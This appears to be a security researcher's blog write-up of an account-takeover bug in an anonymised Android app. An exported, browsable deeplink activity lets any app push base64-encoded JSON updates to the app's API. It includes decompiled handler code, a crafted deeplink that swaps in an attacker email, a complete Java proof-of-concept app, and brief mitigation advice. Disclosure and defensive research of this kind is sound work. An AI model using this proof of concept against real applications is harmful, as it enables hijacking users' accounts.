Research

Account Takeover via browsable intent filter in Android app

Ovi
Ovi

Mobile app security is an interesting field; since app sandbox restrictions are very good, finding security issues can be extremely hard. Once you start delving into applications more and more, you do find some interesting bugs that many people aren't aware of. I think this is an interesting bug simply because most of Android application bug hunting consists mostly of two paths: 1) finding hidden API's and effectively doing web bug hunting 2) exploiting bugs inside of the actual application. This bug actually ends up combining both these situations, which is fun.

In a recent Android application audit, I found a account takeover bug via a vulnerable activity & intent filter. I thought this was a interesting little vulnerability, because the implimentation by the application developer was pretty unique and after looking around, I have seen this (poor) implimentation more than once now. Whilst the full disclosure of this issue can't be disclosed due to a non-disclosure agreement, I wanted to share some details around this vulnerability for others to prevent.

First here's a brief explaination of Activities & Intents on Android. If you don't want to hear this, just skip to here.

An activity in Android represents a single screen with a user interface, essentially representing a window or page in the application. Each activity typically corresponds to one screen in the app. They operate as primary entry points for interaction between the user and the application. For example, if the app has a screen to display a list of contacts and another to display the details abou tthe selected contact, each page would be a seperate activity. These activities have well-defined lifecycle's, which include states such as onCreate(), onStart(), onResume(), onPause(), onStop(), and onDestroy(). These methods allow developers to manage how an activity behaves when it is created, becomes visable, interacting with the user or distroyed etc.

A browsable activity, is a specific type of activity that can be launched from outside the application. Usually through a URL. These activities are defined in the app's manifest file and an intent filter that includes the 'BROWSABLE' category. Browsable activities are commonly used to handle deep links from a web browser or another app. For example, if your app is a helpline platform, you might have a browsable activity that handles links to submission requests like 'https://www.rightsgroupexample.com/submission/12345'. When the user clicks such a link in the browser, your app's submission page activity open's directly and displays the upload page.

Ref: https://snyk.io/blog/exploring-android-intent-based-security-vulnerabilities-google-play/

Many attacks have been disclosed around browsable activities & intent together, much of which include the likes of spoofing & hijacking activites to manipulate task stack & launch malicious activites rather than the legitimate one. One particular issue that relates to this bug is where a activity is exported & unprotected. f an activity, service, or broadcast receiver is marked as exported in the manifest without proper permissions or checks, it can be accessed by any app on the device, potentially leading to unauthorized access or control. An exported activity that handles sensitive data, or sensitive operations might then be accessed by a malicious app. In addition to this problem, you can also have unverified deeplinks. Unveirified deeplinks allow apps to be opened directly to a specific activity via a URL. If deep links are not properly secured, a malicious app can intercept or instruct links.

Vuln details

The issue found in a recent engagement was when an app developer implimented a REST API update method that can be called via a deeplink in a browsable activity's intent filter. An example of browsable activities & intent filters can be seen below, where we have a activity (1), with an intent filter (2) and it being browsable (4) with a deeplink scheme set using (5).

In the case of our vulnerable application, this occured, but with the entire activity being exported.

This vulnerability was a combination of a few implimentation errors. Firstly, the Activity was browsable and exported android:exported="true". Nor did it have any permissions set via android:permission or verification with android:autoVerify="True". Secondly, the intent filter had a switch case whereby if the intent filter contained the host update it would update the API based on the inputted data.

switch (h4shC0d3) {
    case -0x32012A97: 
        if (h0stN4m3.equals(ViaRestSvc.UPDT3)) { 
            v4rC = 0x5; 
            break;
        }
        v4rC = 0xFFFF; 
        break;
    case 0x17941: 
}

The case logic showed a further bug. Whereby the intent accepts a query parameter of data64 which handles a base64 encoded JSON blob to send directly to the API. It also requires the query parameter of redirect. Since the activity is browsable, and the intent is unvalidated, this means that any application remote to this one can call this intent and update the data on the API. Since there's no validation involved here, a remote attacker can update the API without needed access to the application or any valid tokens of the user, since the application itself is making the request.

case 5:
    String a = uri.getQueryParameter("data64");
    if (!TextUtils.isEmpty(a)) {
        String b = new String(Base64.decode(a, 0));
        String c = uri.getQueryParameter("redirect");
        if (!TextUtils.isEmpty(c)) {
            String d = new String(Base64.decode(c, 0));
            XyzFragment e = XyzFragment.def456();
            AlphaUpdate f = new AlphaUpdate(d);
            BetaObject g = new BetaObject(e, f);
            if (host.equals(ZyxRestService.WORK)) {
                deleteData = BaseApplication.baseApplicationPackage().xyz123().updateData(f, g);
            } else {
                deleteData = BaseApplication.baseApplicationPackage().xyz123().deleteData(f, g);
            }
            doSomething(deleteData);
            this.flag = true;
            e.show(getSupportFragmentManager(), "loading_fragment");
            break;
        }
    }
    break;

After fuzzing the applications API endpoint, it was possible to find an endpoint that allowed for updates to the client data.

Since most API's require the old password to reset it, which an attacker wouldn't have, this wouldn't be a valid attack path. However, in this API, it was possible to reset the users email address.

Once the API endpoint and required data is understood by the attacker, it's simply a case of crafting the correct JSON blob for the API to accept. Looking back at the intent filter logic, we needed to craft a deeplink that would contain a base64 encoded JSON blob & a redirect.

case 5:
    String a = uri.getQueryParameter("data64");
    if (!TextUtils.isEmpty(a)) {
        String b = new String(Base64.decode(a, 0));
        String c = uri.getQueryParameter("redirect");
        if (!TextUtils.isEmpty(c)) {
        ...

We can then craft an intent filter that looks something like this:

vulnerableapplication://update?data64=eyJkYXRhIjp7IjQ3Ijp7IjIwMjQtMDgtMTUgMTY6NTU6NDYiOiJhdHRhY2tlckBhdHRhY2tlci5jb20ifX19&redirect=dnVsbmFwcC5leGFtcGxl

We can then build a working PoC to exploit this vulnerability, by creating an application to call the activity with the specific intent action and data:

package com.example.intentstarter;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button startActivityButton = findViewById(R.id.startActivityButton);
        startActivityButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                startTargetActivity();
            }
        });
    }

    private void startTargetActivity() {
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("vulnerableapplication", "com.vulnerableapplication.ui.activities.IntentFilterActivity"));
        intent.setAction(Intent.ACTION_VIEW);
        intent.setData(Uri.parse("vulnerableapplication://update?data64=eyJkYXRhIjp7IjQ3Ijp7IjIwMjQtMDgtMTUgMTY6NTU6NDYiOiJhdHRhY2tlckBhdHRhY2tlci5jb20ifX19&redirect=dnVsbmFwcC5leGFtcGxl"));
        startActivity(intent);
    }
}

Upon execution of our PoC, we call the browsable activity with the deeplink that modifies the registered account email address of the user on the applications API remotely using the applications bearer token. Since this activity is browsable, this attack can be conducted remotely with no permissions.

Once the attacker has updated the API, they simply need to iniate the Forgot/Reset Password action on the new attacker controlled email address, which then gives a full account takeover on the application.

Mitigation thoughts on this:

Applications that have browsable activity with hosts that initate update and delete methods to an API is very dangerous. An application outide of the application should never be able to update data on the API, it should always come from a trusted source. This is done by making deeplinks only accessible via the application itself exported=false.